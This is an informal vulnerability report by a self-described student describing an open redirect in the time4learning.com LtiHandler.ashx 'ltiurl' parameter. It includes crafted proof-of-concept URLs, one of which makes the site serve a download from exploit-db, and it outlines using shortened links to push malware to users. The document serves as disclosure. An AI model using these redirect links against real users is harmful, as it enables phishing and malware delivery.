TImeforlearning Security Vuln

Hello, I'm a student at the website https://www.time4learning.com/
and i found a In that Site U Guy's own,

                                   POC
How i found This is Because when i clicked any of the Quiz i saw in the URL it Was going to a new site using a url input
what i found it was using this to redirect the user to the Quiz,
https://www.time4learning.com/App/Admin/ActivityPlanner/LtiHandler.ashx/?type=activity&ltiurl=https://www.thelearningodyssey.com/lti/resources/lessonquiz/SS7A4&activity=LQ1834&source=5

i seen that is was redirecting using the iurl= method so i was thinking hmm i could probs change that to www.google.com like this

https://www.time4learning.com/App/Admin/ActivityPlanner/LtiHandler.ashx/?type=activity&ltiurl=https://www.google.com/&activity=LQ1834&source=5

then boom it went to google.com i saw that it was using the POST method to send the url so i was thinking again these owners are not that stupid to let a file download so i made this link
and it downloads.
https://www.time4learning.com/App/Admin/ActivityPlanner/LtiHandler.ashx/?type=activity&ltiurl=https://www.exploit-db.com/download/42745/&activity=LQ1834&source=5

pretty sad.



                                          What this could do to users

a "hacker" could use this to a user put it in a urlshortner and the user would click on it thinking it was timeforlearning
and it downloads malware on the targets computer phone ETC.

This Was Found By N..
This will be posted on pastebin thank u for the time